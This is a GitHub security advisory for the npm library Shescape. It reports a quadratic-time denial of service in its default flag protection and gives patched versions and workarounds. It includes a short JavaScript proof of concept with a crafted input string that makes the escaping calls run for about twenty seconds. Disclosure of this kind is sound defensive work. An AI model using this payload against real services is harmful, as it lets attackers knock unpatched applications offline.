highVulnerability

GHSA-gm3r-q2wp-hw87

### Impact This impacts users of Shescape that have flag protection enabled, which is on by default, regardless of the API being used. An attacker can cause a runtime quadratic in the input size, causing denial of service for large inputs. ```javascript import { Shescape } from "shescape"; // 1. Prerequisites const options = { //flagProtection unspecified // Or flagProtection: true, }; // 2. Payload let payload = "\u0000-".repeat(32000); // 3. Usage const shescape = new Shescape(options); let callback; callback = () => shescape.escape(payload); // Or callback = () => shescape.escapeAll([payload]); // Or callback = () => shescape.quote(payload); // Or callback = () => shescape.quoteAll([payload]); const t0 = process.hrtime.bigint(); callback(); const ms = Number(process.hrtime.bigint() - t0) / 1e6; // 4. Impact console.log("Duration:", ms); // Outputs "Duration:" followed by a number close to 20000 ``` ### Patches This bug has been patched in [v2.1.14] and [v3.0.1] which you can upgrade to now. If you are already using v3 of Shescape, no further changes are required. If you are using v2 of Shescape it is recommended to upgrade as this version reaches end-of-life status on 2026-09-28, follow the [migration guide] to upgrade to v3. No patches will be released for version of Shescape lower than v2.0.0. ### Workarounds Alternatively, users of Shescape can 1) put restrictions on the length of untrusted input or 2) strip all content before the **last** `-` from untrusted inputs. ### For more information - Comment on Pull Request [#2651] for v2 and [#2649] for v3 - Comment on commit [b4b34c3] for v2 and [43d70b5] for v3 - Open an issue at <https://github.com/ericcornelissen/shescape/issues> (New issue > Question)

Properties

ghsa_id
GHSA-gm3r-q2wp-hw87
severity
high
summary
Shescape: Quadratic-time denial of service in the flag-protection
cve_id
GHSA-gm3r-q2wp-hw87
is_ghsa_only
true
ghsa_published
2026-07-24T22:35:08Z
source_url
https://github.com/advisories/GHSA-gm3r-q2wp-hw87
ghsa_updated
2026-07-24T22:35:09Z

Related Entities (5)

VULNERABLE_TO (1)

[Software]npm/shescape

AFFECTS (1)

[Software]npm/shescape

HAS_WEAKNESS (2)

[Weakness]Uncontrolled Resource Consumption
[Weakness]Inefficient Algorithmic Complexity

REPORTED_BY (1)

[Source]GitHub Advisory Database

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